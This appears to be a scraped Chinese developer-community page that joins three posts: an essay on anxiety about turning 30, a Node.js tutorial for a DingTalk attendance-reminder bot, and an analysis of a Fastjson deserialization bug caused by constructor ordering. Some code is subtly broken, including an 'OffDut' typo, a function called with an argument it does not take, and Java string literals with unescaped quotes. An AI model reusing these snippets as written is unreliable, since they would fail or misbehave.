不知道你是否有过这样的经历,就是在临近30岁的这几年,可能是28,可能是29,会突然有一天,你就不得不以一个顶梁柱的角色去审视自己。
就算此时你还没有结婚,但面对即将不得不结婚的压力,面对已经老去的父母。时间突然就变得紧迫起来,你也突然就不再属于你自己,我们会不自觉的扮演起家庭的依靠,而且还是唯一的依靠。这种压力完全是在自己还没准备的时候就突袭了你。
就像我这一周都是在这种压力和焦虑中度过...
我不知道自己为什么会突然一下就想这么多,但年龄就像一个雷管,突然就炸开了赤裸裸的现实,或者是按下了一个倒计时。我不自觉的去想家庭,去想父母,去想我30岁40岁50|岁是什么样子。
这周的每天晚上我想着这些都失眠到三四点,当然如果这个时候你还像我一样去看下确切时间,你很大可能会失眠到五点。
所以这几天上班也是一行代码都没敲,幸好需求不多。最后我迫切的觉得我应该找个办法解决一下,索性今天摸鱼一天,听了一天的心理学讲座的音频。
果然,心病还需心药医!!!
下面我给大家分享一下自己的治疗过程,希望也能对焦虑的你有所启发。
解决焦虑的第一步就是先要弄清楚我们为什么焦虑?我们究竟在焦虑什么?可能很多人都是焦虑经济,焦虑结婚,焦虑生活中的各种琐事。
但我们也可以试着站在上帝视角,更深层次的解剖一下自己。
比如我,我最大的焦虑也是钱,我从农村出来,没有任何背景,毕业到现在已经工作六年,20年在广州买房上车,但好巧不巧买的是恒大的房子,买完就暴雷,现在每个月有房贷,还要结婚。
所以我总是在想,这些年我算努力吗,为什么还是没有挣到钱。
三十而立近在眼前,可我这些年究竟立了什么呢?遥想刚毕业那会给自己定下的目标,虽然是天方夜谭,但对比现在,也太天方夜谭了吧。
不是说好的天道酬勤吗?不是说努力就会有收获吗?
所以我焦虑,我表面是焦虑钱,但何尝不是在焦虑自己这么多年的努力却没有得到我想要的结果呢?
我们都知道攀比是不好的,尤其是在这个动辄年薪百万年薪的互联网世界,但也是这些网络信息的无孔不入,让我们不得不攀比,不得不怀疑自己是为什么会差这么多。
我承认自己是一个争强好胜的人,我会在读书时非常想要好的名次,因为我体验过那种胜利感一次之后,便会上瘾。所以现在工作,我也时常不自觉的攀比起来,因此,我也深深陷入了自我怀疑和自我嫌弃的枣泥。
为什么我努力学习,辛苦工作,一年下来却不如人家卖一个月炒饭,为什么那个做销售的同学两三个月就赚到了我两年的财富,为什么我工作六年攒下的钱,却还不及人家父母一个月的收租?
和我一样没背景的比我赚的多,有背景的赚的更多。这种怀疑病入膏肓的时候,我都会病态的想,那些富二代肯定都是花花公子,懒惰而不自知,毕竟电影里不都这样演吗?但现实是,别人会比你接受更好的家庭教育,环境教育。别人谈吐自如还努力学习。不仅赢在了起跑线,还比你努力。就是这种对比,越来越让我们自己嫌弃自己,厌恶自己。所以也就总是想要求自己必须去做更好的自己。
应该所有人都思考过这个问题吧,来这人间一趟,可都不想白来一趟。我们都想在这个世界留下点什么,就像战国时士人对君主,知道会被烹杀却勇于进言,只为留下一个劝谏名士的美名。人活一世,究竟为了什么呢?生前获利?死后留名?
但对于我们大多数的普通人呢?
待我们死去,我们的名字最多就被孙子辈的人知道,等到他们也故去,那这个世界还会有你来过的痕迹吗?
人生代代无穷已,江月年年望相似。
所以夜深人静的时候,我们总会在想,自己生命的意义?似乎一切都没有意义,我们注定就是会拥有一个低价值甚至无价值的人生。
我们九零后,比零零后环境是不是更好不确定,但对比八零后,肯定要差,八零后结婚,印象里还不太谈房子,车子,但我们结婚,确是一个必考题。
所以我们结婚率低,不仅有不婚族,还有现在的丁克族。
我自己来自农村,我们那里男女比例就严重失衡,村里的男孩子结婚的不超过一半。但是我爸着急,不知道你们是否有过这种催婚的经历,父母会反复的告诉你大龄剩男剩女有多丢人,你们的不婚不仅是你自己的问题,还会让家里人都抬不起头。是的,父母含辛茹苦养育了你们,现在因为你,让他们在别人面前抬不起头来,失去了自尊。
我们擅长给自己定下很多目标,但有时候就是逃不过人性,孔子说,食色性也。我们在被创造的时候就是被设计为不断的追求多巴胺的动物。所以我们沉迷游戏,沉迷追剧。总是在周五的晚上选择放松自己。而不会因为定下了目标就去学习。
总之,我们的目标定的越美好,我们的行动往往越低效。最后,两者的差距越来越远。我们离自己期望中的那个自己判若两人。
我们又会厌恶自己,嫌弃自己。甚至痛骂自己的不自律。
以上是我分析的自己的焦虑点。相信很多也是屏幕前的你曾经或者当下也有的吧。接下来,就看看我是怎么在心理学上找到解决的办法的吧!
关于攀比、努力没有想要的结果、不自律等等带来的自我嫌弃。我们或许应该这样看
有远大报负,有远大理想。追求自由和生命的绚丽是我们每个人都会有也应该有的念想。但当暂时还没有结果的时候。我们不应该及早否定自己。而是勇于承认自己的普通。我们都想成为这个世界上独一无二的人。事实上从某种意义上来说。我们也是独一无二的人。但从金钱,名望这些大家公认的层面来看。99.99%的人都是普通人。我们这一生很大可能就会这样平凡的过完一生。接受自己的普通,活在当下。这才是体验这趟生命之旅最应该有的态度。只要今天比昨天好。我们不就是在进步吗?
为什么一定要有个结果??
人生最大的悲哀就是跨越知道和做到的鸿沟,当一个人承认自己是个普通人的时候,他才是人格完整,真正成熟的时候。
我们追求美好的事物,追求自己喜欢的东西,金钱也好,名望也罢,这都是无可厚非的。因为人就是需要被不断满足的,人因为有欲望才会想活下去。但是当暂时没有结果的时候。我们也不应该为此感到自责和焦虑。一旦我们队美好事物的追求变成了一种压力。我们就会陷入一种有负担的内缩状态,反而会跑不快。
我们都害怕浪费生命,因为生命只有一次。我们想让自己的生命在这个世界留下来过的痕迹。所以我们追寻那些热爱的东西,但其实追求的过程才是最应该留下的痕迹,结果反而只是别人眼里的痕迹。
当然也有一种理解认为活在当下就是躺平。恰好现在网络上也是躺平之语频频入耳。我想说关于是努力追求理想还是躺平的一点观点。
在禅宗里有这样一句话说的非常好:身无所住而生其心。
这里的住 代表的就是追求的一种执念。
身无所住而生其心,说的就是要避免有执和无执的两种极端状态。有执就是我们我都要要要。我要钱 我要名 我要豪车豪宅。无执就是觉得什么都没有意义。生命终会归于尘土。所以努力追求的再多,又有什么用呢?大多数人生命注定是无意义的。这也是很多人躺平的一部分原因吧!
但是就该这样躺平的度过一生吗?每天都陷入低价值的人生?
身无所住而生其心。我们的生命不应该陷入有执和无执这两种极端。花开了,虽然它终会化作春泥。但花开的此刻,它是真美啊!
关于结婚生子,为什么我要在所有人都结婚的年龄就结婚,为什么三十岁生孩子就是没出息。生育这个问题,其实是为了什么 我爸老说,你不生小孩或者很晚生小孩,到时候老了都没人照顾你,那养儿真的就是为了防老吗?其实这是一个伪命题,先还不说到时候,儿女孝不孝顺的问题,就说我爸,这么多年,他为了倾其所有,花我身上的钱不说几千万也有上百万了,如果真是要防老,那这个钱存银行,每年光吃利息就有几十万,几十万在一个农村来说晚年怎么都富足了,两三个人照顾你都够,而我到现在每年有给过我爸几十万吗?
再说养儿为了到时候不孤独,能享受天伦之乐,这算是感情上的需求吧。那既然这样,我在准备好的节奏里欣然的生育,不比我在年龄和周遭看法的压力下强行生育更加的好吗,当我想体验一下为人父的生命体验了,我顺其自然的要小孩儿,快快乐乐的养育他,而不是我已经三十岁了,别人小孩儿都打酱油了,大家都在说是不是我有问题,所以即使我现在经济,心理,精力上都没准备好,我也必须要一个小孩儿。
所以大人们说的并不是真正的理由,而人类或者动物,之所以热衷繁衍,最原始的动力是想把自己的基因流下去,是想在这个世界上留下一点记忆。
为别人而活。尤其是在农村,很多人一辈子就认识村里那些人,祖祖辈辈就只见过那些活法,在他们眼里,多少岁结婚,多少岁生孩子,这辈子就这么过去了。但是但凡有一点出格,那在其他人眼里就会抬不起头,因为,其他人出现意外的时候,自己也是这样看其他人的。所以大家都只为活在别人眼里而活,打个比方,我现在很想很想吃一个红薯,明明我吃完这个红薯,内心就会得到满足,但是我不会,因为别人会觉得我是不是穷,都只能吃红薯,这不单单是大家说的死要面子活受罪,其实是我们很多人骨子里的自卑,尤其是我们农村,经济条件都不好,没有什么值得炫耀的,所以我们就尽可能找大家能达成共识的去炫耀。很简单的一个例子。假如一个亿万富翁去到农村,他的身价已经足够自信了,即使他不结婚生子,其他人会看不起他吗?
1、心理学是治愈,也是哲学上的思考。这种思考很多都能跳脱出现实而给到我们解决现实中问题的办法
2、再重复一遍:身无所住而生其心!
3、要爱具体的人,不要爱抽象的人,要爱生活,不要爱生活的意义。
来源:程序员春风 juejin.cn/post/7119863033920225287
收起阅读 »我司使用钉钉考勤打卡,人事要求的比较严格,两次未打卡记缺勤一天。但我们组醉心于工作,老是上下班忘记打卡,每月的工资被扣到肉疼。
开始的时候我们都设置了一个打卡闹铃,下班后准时提醒,但有的时候加班,加完班回家又忘记打卡了。还有的时候迷之自信的以为自己打卡了,第二天看考勤记录发现没打卡。
为了彻底解决这个问题,守住我们的钱袋子,我开发了一款打卡提醒工具,让全组连续三个月全勤!
下面介绍一下,这个小工具是如何实现的。
首先思考一下:闹铃提醒为什么不能百分之百有用?
机械的提醒
闹铃提醒很机械,每天一个点固定提醒,时间久了人就会免疫。就像起床闹铃用久了,慢慢的那个声音对你不起作用了,此时不得不换个铃声才行。
不能重复提醒
闹铃只会在固定时间提醒一次,没有办法判断是否打卡,更不会智能地发现你没有打卡,再提醒一次。
既然闹铃做不到,那我们就用程序来实现吧。按照上述两个原因,我们要实现的提醒工具必须包含两个功能:
检测用户是否打卡,未打卡则提醒,已打卡不提醒。
对未打卡用户循环检测,重复提醒,直到打卡为止。
如果能实现这两个功能,那么忘记打卡的问题多半也就解决了。
打卡数据需要从钉钉获取,并且钉钉有推送功能。因此我们的方案是:利用 Node.js + 钉钉 API 来实现打卡状态检测和精准的提醒推送。
钉钉是企业版的即时通讯软件。与微信最大的区别是,它提供了开放能力,可以用 API 来实现创建群组,发送消息等功能,这意味使着用钉钉可以实现高度定制的通讯能力。
我们这里用到的钉钉 API 主要有以下几个:
获取凭证
获取用户 ID
检查打卡状态
群内消息推送
@某人推送
在使用钉钉 API 之前,首先要确认有公司级别的钉钉账号(使用过钉钉打卡功能一般就有公司账号),后面的步骤都是在这个账号下实现。
钉钉开发第一步,先去钉钉开放平台申请一个应用,拿到 appKey 和 appSecret。
钉钉开放平台地址:open.dingtalk.com/developer
进入平台后,点击“开发者后台”,如下图:
开发者后台就是管理自己开发的钉钉应用的地方,进入后选择“应用开发->企业内部开发”,如下图:
进入这个页面可能提示暂无权限,这是因为开发企业钉钉应用需要开发者权限,这个权限需要管理员在后台添加。
管理员加开发者权限方式:
进入 OA 管理后台,选择设置-权限管理-管理组-添加开发者权限下的对应权限。
进入之后,选择【创建应用 -> H5 微应用】,根据提示创建应用。创建之后在【应用信息】中可以看到两个关键字段:
AppKey
AppSecret
这两个字段非常重要,获取接口调用凭证时需要将它们作为参数传递。AppKey 是企业内部应用的唯一身份标识,AppSecret 是对应的调用密钥。
钉钉 API 需要在服务端调用。也就是说,我们需要搭建一个服务端应用来请求钉钉 API。
切记不可以在客户端直接调用钉钉 API,因为 AppKey 和 AppSecret 都是保密的,绝不可以直接暴露在客户端。
我们使用 Node.js 的 Express
框架来搭建一个简单的服务端应用,在这个应用上与钉钉 API 交互。搭建好的 Express 目录结构如下:
|-- app.js // 入口文件
|-- catch // 缓存目录
|-- router // 路由目录
| |-- ding.js // 钉钉路由
|-- utils // 工具目录
| |-- token.js // token相关
app.js 是入口文件,也是应用核心逻辑,代码简单书写如下:
const express = require('express');
const app = express();
const bodyParser = require('body-parser');
const cors = require('cors');
app.use(bodyParser.json());
app.use(cors());
// 路由配置
app.use('/ding', require('./router/ding'));
// 捕获404
app.use((req, res, next) => {
res.status(404).send('Not Found');
});
// 捕获异常
app.use((err, req, res, next) => {
console.error(err);
res.status(err.status || 500).send(err.inner || err.stack);
});
app.listen(8080, () => {
console.log(`listen to http://localhost:8080`);
});
另一个 router/ding.js 文件是 Express 标准的路由文件,在这里编写钉钉 API 的相关逻辑,代码基础结构如下:
// router/ding.js
var express = require('express');
var router = express.Router();
router.get('/', (req, res, next) => {
res.send('钉钉API');
});
module.exports = router;
现在将应用运行起来:
$ node app.js
然后访问 http://localhost:8080/ding
,浏览器页面显示出 “钉钉 API” 几个字,表示运行成功。
一个简单的服务端应用搭建好之后,就可以准备接入钉钉 API 了。
接入步骤参考开发文档,文档地址在这里。
钉钉 API 需要验证权限才可以调用。验证权限的方式是,根据上一步拿到的 AppKey 和 AppSecret 获取一个 access_token,这个 access_token 就是钉钉 API 的调用凭证。
后续在调用其他 API 时,只要携带 access_token 即可验证权限。
钉钉 API 分为新版和旧版两个版本,为了兼容性我们使用旧版。旧版 API 的 URL 根路径是https://oapi.dingtalk.com
,下文用 baseURL 这个变量替代。
根据文档,获取 access_token 的接口是 ${baseURL}/gettoken
。在 utils/ding.js 文件中定义一个获取 token 的方法,使用 GET 请求获取 access_token,代码如下:
const fetchToken = async () => {
try {
let params = {
appkey: 'xxx',
appsecret: 'xxx',
};
let url = `${baseURL}/gettoken`;
let result = await axios.get(url, { params });
if (result.data.errcode != 0) {
throw result.data;
} else {
return result.data;
}
} catch (error) {
console.log(error);
}
};
上述代码写好之后,就可以调用 fetchToken 函数获取 access_token 了。
获取到 access_token 之后需要持久化的存储起来供后续使用。在浏览器端,我们可以保存在 localStorage 中,而在 Node.js 端,最简单的方法是直接保存在文件中。
写一个将 access_token 保存为文件,并且可读取的类,代码如下:
var fs = require('fs');
var path = require('path');
var catch_dir = path.resolve(__dirname, '../', 'catch');
class DingToken {
get() {
let res = fs.readFileSync(`${catch_dir}/ding_token.json`);
return res.toString() || null;
}
set(token) {
fs.writeFileSync(`${catch_dir}/ding_token.json`, token);
}
}
写好之后,现在我们获取 access_token 并存储:
var res = await fetchToken();
if (res) {
new DingToken().set(res.access_token);
}
在下面的接口调用时,就可以通过 new DingToken().get()
来获取到 access_token 了。
有了 access_token 之后,第一个调用的钉钉 API 是获取员工的 userid。userid 是员工在钉钉中的唯一标识。
有了 userid 之后,我们才可以获取组员对应的打卡状态。最简单的方法是通过手机号获取员工的 userid,手机号可以直接在钉钉上查到。
根据手机号查询用户文档在这里。
接口调用代码如下:
let access_token = new DingToken().get();
let params = {
access_token,
};
axios
.post(
`${baseURL}/topapi/v2/user/getbymobile`,
{
mobile: 'xxx', // 用户手机号
},
{ params },
)
.then((res) => {
console.log(res);
});
通过上面请求方法,逐个获取所有组员的 userid 并保存下来,我们在下一步使用。
拿到组员的 userid 列表,我们就可以获取所有组员的打卡状态了。
钉钉获取打卡状态,需要在 H5 应用中申请权限。打开前面创建的应用,点击【权限管理 -> 考勤】,批量添加所有权限:
接着进入【开发管理】,配置一下服务器出口 IP。这个 IP 指的是我们调用钉钉 API 的服务器 IP 地址,开发的时候可以填为 127.0.0.1,部署后更换为真实的 IP 地址。
做好这些准备工作,我们就可以获取打卡状态了。获取打卡状态的 API 如下:
API 地址:${baseURL}/attendance/list
请求方法:POST
这个 API 的请求体是一个对象,对象必须包含的属性如下:
workDateFrom
:查询考勤打卡记录的起始工作日。
workDateTo
:查询考勤打卡记录的结束工作日。
userIdList
:查询用户的用户 ID 列表。
offset
:数据起始点,用于分页,传 0 即可。
limit
:获取考勤条数,最大 50 条。
这里的字段解释一下。workDateFrom 和 workDateTo 表示查询考勤的时间范围,因为我们只需要查询当天的数据,因此事件范围就是当天的 0 点到 24 点。
userIdList 就是我们上一步取到的所有组员的 userid 列表。
将获取打卡状态写为一个单独的方法,代码如下:
const dayjs = require('dayjs');
const access_token = new DingToken().get();
// 获取打卡状态
const getAttendStatus = (userIdList) => {
let params = {
access_token,
};
let body = {
workDateFrom: dayjs().startOf('day').format('YYYY-MM-DD HH:mm:ss'),
workDateTo: dayjs().endOf('day').format('YYYY-MM-DD HH:mm:ss'),
userIdList, // userid 列表
offset: 0,
limit: 40,
};
return axios.post(`${baseURL}/attendance/list`, body, { params });
};
查询考勤状态的返回结果是一个列表,列表项的关键字段如下:
userId
:打卡人的用户 ID。
userCheckTime
:用户实际打卡时间。
timeResult
:用户打卡结果。Normal:正常,NotSigned:未打卡。
checkType
:考勤类型。OnDuty:上班,OffDuty:下班。
其他更多字段的含义请参考文档
上面的 4 个字段可以轻松判断出谁应该打卡,打卡是否正常,这样我们就能筛选出没有打卡的用户,对这些未打卡的用户精准提醒。
筛选打卡状态分为两种情况:
上班打卡
下班打卡
上下班打卡要筛选不同的返回数据。假设获取的打卡数据存储在变量 attendList 中,获取方式如下:
// 获取上班打卡记录
const getOnUids = () =>
attendList
.filter((row) => row.checkType == 'OnDuty')
.map((row) => row.userId);
// 获取下班打卡记录
const getOffUids = () =>
attendList
.filter((row) => row.checkType == 'OffDut')
.map((row) => row.userId);
获取到已打卡的用户,接着找到未打卡用户,就可以发送通知提醒了。
在钉钉中最常用的消息推送方式是:在群聊中添加一个机器人,向这个机器人的 webhook 地址发送消息,即可实现自定义推送。
还是进入前面创建的 H5 应用,在菜单中找到【应用功能 -> 消息推送 -> 机器人】,根据提示配置好机器人。
创建好机器人后,打开组员所在的钉钉群(已有群或新建群都可)。点击【群设置 -> 智能群助手 -> 添加机器人】,选择刚才创建的机器人,就可以将机器人绑定在群里了。
绑定机器人后,点击机器人设置,会看到一个 Webhook 地址,请求这个地址即可向群聊发送消息。对应的 API 如下:
API 地址:${baseURL}/robot/send?access_token=xxx
请求方法:POST
现在发送一条“我是打卡机器人”,实现代码如下:
const sendNotify = (msg, atuids = []) => {
let access_token = 'xxx'; // Webhook 地址上的 access_token
// 消息模版配置
let infos = {
msgtype: 'text',
text: {
content: msg,
},
at: {
atUserIds: atuids,
},
};
// API 发送消息
axios.post(`${baseURL}/robot/send`, infos, {
params: { access_token },
});
};
sendNotify('我是打卡机器人');
解释一下:代码中的 atUserIds
属性表示要 @ 的用户,它的值是一个 userid 数组,可以 @ 群里的某几个成员,这样消息推送就会更精准。
发送之后会在钉钉群收到消息,效果如下:
前面几步创建了钉钉应用,获取了打卡状态,并用机器人发送了群通知。现在将这些功能结合起来,写一个检查考勤状态,并对未打卡用户发送提醒的接口。
在路由文件 router/ding.js 中创建一个路由方法实现这个功能:
var dayjs = require('dayjs');
router.post('/attend-send', async (req, res, next) => {
try {
// 需要检测打卡的 userid 数组
let alluids = ["xxx", "xxxx"];
// 获取打卡状态
let attendList = await getAttendStatus(alluids);
// 是否9点前(上班时间)
let isOnDuty = dayjs().isBefore(dayjs().hour(9).minute(0));
// 是否18点后(下班时间)
let isOffDuty = dayjs().isAfter(dayjs().hour(18).minute(0));
if (isOnDuty) {
// 已打卡用户
let uids = getOnUids(attendList);
if (alluids.length > uids.length) {
// 未打卡用户
let txuids = alluids.filter((r) => !uids.includes(r));
sendNotify("上班没打卡,小心扣钱!", txuids);
}
} else if (isOffDuty) {
// 已打卡用户
let uids = getOffUids(attendList);
if (alluids.length > uids.length) {
// 未打卡用户
let txuids = alluids.filter((r) => !uids.includes(r));
sendNotify("下班没打卡,小心扣钱!", txuids);
}
} else {
return res.send("不在打卡时间");
}
res.send("没有未打卡的同学");
} catch (error) {
res.status(error.status || 500).send(error);
}
});
上述接口写好之后,我们只需要调用一下这个接口,就能实现自动检测上班或下班的打卡情况。如果有未打卡的组员,那么机器人会在群里发通知提醒,并且 @ 未打卡的组员。
# 调用接口
$ curl -X POST http://localhost:8080/ding/attend-send
检查打卡状态并提醒的功能实现了,现在还差一个“循环提醒”功能。
循环提醒的实现思路是,在某个时间段内,每隔几分钟调用一次接口。如果检测到未打卡的状态,就会循环提醒。
假设上下班时间分别是上午 9 点和下午 18 点,那么检测的时间段可以划分为:
上班:8:30-9:00 之间,每 5 分钟检测一次;
下班:18:00-19:00 之间,每 10 分钟检测一次;
上班打卡相对比较紧急,所以时间检测短,频率高。下班打卡相对比较宽松,下班时间也不固定,因此检测时间长,频率低一些。
确定好检测规则之后,我们使用 Linux 的定时任务 crontab
来实现上述功能。
首先将上面写好的 Node.js 代码部署到 Linux 服务器,部署后可在 Linux 内部调用接口。
简单说一下 crontab 定时任务如何配置。它的配置方式是一行一个任务,每行的配置字段如下:
// 分别表示:分钟、小时、天、月、周、要执行的命令
minute hour day month weekday cmd
每个字段用具体的数字表示,如果要全部匹配,则用 * 表示。上班打卡检测的配置如下:
29-59/5 8 * * 1-5 curl -X POST http://localhost:8080/ding/attend-send
上面的 29-59/5 8
表示在 8:29 到 8:59 之间,每 5 分钟执行一次;1-5 表示周一到周五,这样就配置好了。
同样的道理,下班打卡检测的配置如下:
*/10 18-19 * * 1-5 curl -X POST http://localhost:8080/ding/attend-send
在 Linux 中执行 crontab -e
打开编辑页面,写入上面的两个配置并保存,然后查看是否生效:
$ crontab -l
29-59/5 8 * * 1-5 curl -X POST http://localhost:8080/ding/attend-send
*/10 18-19 * * 1-5 curl -X POST http://localhost:8080/ding/attend-send
看到上述输出,表示定时任务创建成功。
现在每天上班前和下班后,小工具会自动检测组员的打卡状态并循环提醒。最终效果如下:
这个小工具是基于钉钉 API + Node.js 实现,思路比较有意思,解决了实际问题。并且这个小项目非常适合学习 Node.js,代码精简干净,易于理解和阅读。
小项目已经开源,开源地址为:
作者:杨成功
来源:juejin.cn/post/7136108565986541598
女娃:虎年生,姓张
本文主要讲述了一个具有"随机性"的反序列化错误!
Fastjson作为一款高性能的JSON序列化框架,使用场景众多,不过也存在一些潜在的bug和不足。本文主要讲述了一个具有"随机性"的反序列化错误!
为了清晰地描述整个报错的来龙去脉,将相关代码贴出来,同时也为了可以本地执行,看一下实际效果。
package test;
import java.util.List;
public class StewardTipItem {
private Integer type;
private List<String> contents;
public StewardTipItem(Integer type, List<String> contents) {
this.type = type;
this.contents = contents;
}
}
反序列化时失败,此类有两个特殊之处:
返回StewardTipCategory的build方法(忽略返回null值)。
构造函数『C1』Map<Integer, List> items参数与List items属性同名,但类型不同!
package test;
import java.util.ArrayList;
import java.util.List;
import java.util.Map;
public class StewardTipCategory {
private String category;
private List<StewardTipItem> items;
public StewardTipCategory build() {
return null;
}
//C1 下文使用C1引用该构造函数
public StewardTipCategory(String category, Map<Integer,List<String>> items) {
List<StewardTipItem> categoryItems = new ArrayList<>();
for (Map.Entry<Integer, List<String>> item : items.entrySet()) {
StewardTipItem tipItem = new StewardTipItem(item.getKey(), item.getValue()); categoryItems.add(tipItem);
}
this.items = categoryItems;
this.category = category;
}
// C2 下文使用C2引用该构造函数
public StewardTipCategory(String category, List<StewardTipItem> items) {
this.category = category;
this.items = items;
}
public String getCategory() {
return category;
}
public void setCategory(String category) {
this.category = category;
}
public List<StewardTipItem> getItems() {
return items;
}
public void setItems(List<StewardTipItem> items) {
this.items = items;
}
}
package test;
import java.util.ArrayList;
import java.util.List;
import java.util.Map;
public class StewardTip {
private List<StewardTipCategory> categories;
public StewardTip(Map<String, Map<Integer, List<String>>> categories) {
List<StewardTipCategory> tipCategories = new ArrayList<>();
for (Map.Entry<String, Map<Integer, List<String>>> category : categories.entrySet()) { StewardTipCategory tipCategory = new StewardTipCategory(category.getKey(), category.getValue());
tipCategories.add(tipCategory);
}
this.categories = tipCategories;
}
public StewardTip(List<StewardTipCategory> categories) {
this.categories = categories;
}
public List<StewardTipCategory> getCategories() {
return categories;
}
public void setCategories(List<StewardTipCategory> categories) {
this.categories = categories;
}
}
{
"categories":[
{
"category":"工艺类",
"items":[
{
"contents":[
"工艺类-提醒项-内容1",
"工艺类-提醒项-内容2"
],
"type":1
},
{
"contents":[
"工艺类-疑问项-内容1"
],
"type":2
}
]
}
]
}
package test;
import com.alibaba.fastjson.JSONObject;
public class FastJSONTest {
public static void main(String[] args) {
String tip = "{"categories":[{"category":"工艺类","items":[{"contents":["工艺类-提醒项-内容1","工艺类-提醒项-内容2"],"type":1},{"contents":["工艺类-疑问项-内容1"],"type":2}]}]}";
try {
JSONObject.parseObject(tip, StewardTip.class);
} catch (Exception e) {
e.printStackTrace();
}
}
}
当执行FastJSONTest的main方法时报错:
com.alibaba.fastjson.JSONException: syntax error, expect {, actual [
at com.alibaba.fastjson.parser.deserializer.MapDeserializer.parseMap(MapDeserializer.java:228)
at com.alibaba.fastjson.parser.deserializer.MapDeserializer.deserialze(MapDeserializer.java:67)
at com.alibaba.fastjson.parser.deserializer.MapDeserializer.deserialze(MapDeserializer.java:43)
at com.alibaba.fastjson.parser.deserializer.DefaultFieldDeserializer.parseField(DefaultFieldDeserializer.java:85)
at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:838)
at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:288)
at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:284)
at com.alibaba.fastjson.parser.deserializer.ArrayListTypeFieldDeserializer.parseArray(ArrayListTypeFieldDeserializer.java:181)
at com.alibaba.fastjson.parser.deserializer.ArrayListTypeFieldDeserializer.parseField(ArrayListTypeFieldDeserializer.java:69)
at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:838)
at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:288)
at com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:672) at com.alibaba.fastjson.JSON.parseObject(JSON.java:396)
at com.alibaba.fastjson.JSON.parseObject(JSON.java:300)
at com.alibaba.fastjson.JSON.parseObject(JSON.java:573)
at test.FastJSONTest.main(FastJSONTest.java:17)
排查过程有两个难点:
不能根据报错信息得到异常时JSON字符串的key,position或者其他有价值的提示信息。
报错并不是每次执行都会发生,存在随机性,执行十次可能报错两三次,没有统计失败率。
经过多次执行之后还是找到了一些蛛丝马迹!下面结合源码对整个过程进行简单地叙述,最后也会给出怎么能在报错的时候debug到代码的方法。
clazz是StewardTipCategory.class的情况下,提出以下两个问题:Q1:Constructor[] constructors数组的返回值是什么?Q2:constructors数组元素的顺序是什么?
参考java.lang.Class#getDeclaredConstructors的注释,可得到A1:
A1
public test.StewardTipCategory(java.lang.String,java.util.Map<java.lang.Integer, java.util.List<java.lang.String>>)『C1』public test.StewardTipCategory(java.lang.String,java.util.List<test.StewardTipItem>)『C2』
A2
build()方法,C1构造函数,C2构造函数三者在Java源文件的顺序决定了constructors数组元素的顺序!下表是经过多次实验得到的一组数据,因为是手动触发,并且次数较少,所以不能保证100%的准确性,只是一种大概率事件。
java.lang.Class#getDeclaredConstructors底层实现是native getDeclaredConstructors0,JVM的这部分代码没有去阅读,所以目前无法解释产生这种现象的原因。
前 | 中 | 后 | 数组元素顺序 |
---|---|---|---|
build() | C1 | C2 | 随机 |
C1 | build() | C2 | C2,C1 |
C1 | C2 | build() | C2,C1 |
build() | C2 | C1 | 随机 |
C2 | build() | C1 | C1,C2 |
C2 | C1 | build() | C1,C2 |
C1 | C2 | C2,C1 | |
C2 | C1 | C1,C2 |
正是因为java.lang.Class#getDeclaredConstructors返回数组元素顺序的随机性,才导致反序列化失败的随机性!
[C2,C1]反序列化成功!
[C1,C2]反序列化失败!
[C1,C2]顺序下探寻反序列化失败时代码执行的路径。
com.alibaba.fastjson.util.JavaBeanInfo#build()方法体代码量比较大,忽略执行路径上的无关代码。\
[C1,C2]顺序下代码会执行到492行,并执行两次(StewardTipCategory#category, StewardTipCategory#items各执行一次)。
结束后创建一个com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer。
JavaBeanDeserializer两个重要属性:
private final FieldDeserializer[] fieldDeserializers;
protected final FieldDeserializer[] sortedFieldDeserializers;
反序列化test.StewardTipCategory#items时fieldDeserializers的详细信息。
com.alibaba.fastjson.parser.deserializer.DefaultFieldDeserializercom.alibaba.fastjson.parser.deserializer.DefaultFieldDeserializer#fieldValueDeserilizer(属性值null,运行时会根据fieldType获取具体实现类)com.alibaba.fastjson.util.FieldInfo#fieldType(java.util.Map<java.lang.Integer, java.util.List<java.lang.String>>)
创建完成执行com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#deserialze(com.alibaba.fastjson.parser.DefaultJSONParser, java.lang.reflect.Type, java.lang.Object, java.lang.Object, int, int[])
com.alibaba.fastjson.parser.ParserConfig#getDeserializer(java.lang.Class<?>, java.lang.reflect.Type)根据字段类型设置com.alibaba.fastjson.parser.deserializer.DefaultFieldDeserializer#fieldValueDeserilizer的具体实现类。
test.StewardTipCategory#items属性的实际类型是List。
反序列化时根据C1构造函数得到的fieldValueDeserilizer的实现类是com.alibaba.fastjson.parser.deserializer.MapDeserializer。
执行com.alibaba.fastjson.parser.deserializer.MapDeserializer#deserialze(com.alibaba.fastjson.parser.DefaultJSONParser, java.lang.reflect.Type, java.lang.Object)时报错。
java.lang.Class#getDeclaredConstructors返回[C2,C1]顺序,反序列化时根据C2构造函数得到的fieldValueDeserilizer的实现类是com.alibaba.fastjson.parser.deserializer.ArrayListTypeFieldDeserializer,反序列化成功。
删除C1构造函数,使用其他方式创建StewardTipCategory。
修改C1构造函数参数名称,类型,避免误导Fastjson。
package test;
import com.alibaba.fastjson.JSONObject;
import java.lang.reflect.Constructor;
public class FastJSONTest {
public static void main(String[] args) {
Constructor<?>[] declaredConstructors = StewardTipCategory.class.getDeclaredConstructors();
// if true must fail!
if ("public test.StewardTipCategory(java.lang.String,java.util.Map<java.lang.Integer, java.util.List<java.lang.String>>)".equals(declaredConstructors[0].toGenericString())) { String tip = "{"categories":[{"category":"工艺类","items":[{"contents":["工艺类-提醒项-内容1","工艺类-提醒项-内容2"],"type":1},{"contents":["工艺类-疑问项-内容1"],"type":2}]}]}"; try {
JSONObject.parseObject(tip, StewardTip.class);
} catch (Exception e) {
e.printStackTrace();
}
}
}
}
StewardTipCategory构造函数C1方法签名明显不是一个很好的选择,方法体除了属性赋值,还做了一些额外的类型/数据转换,也应该尽量避免。
开发人员对于使用的技术与框架要有深入的研究,尤其是底层原理,不能停留在使用层面。一些不起眼的事情可能导致不可思议的问题:java.lang.Class#getDeclaredConstructors。
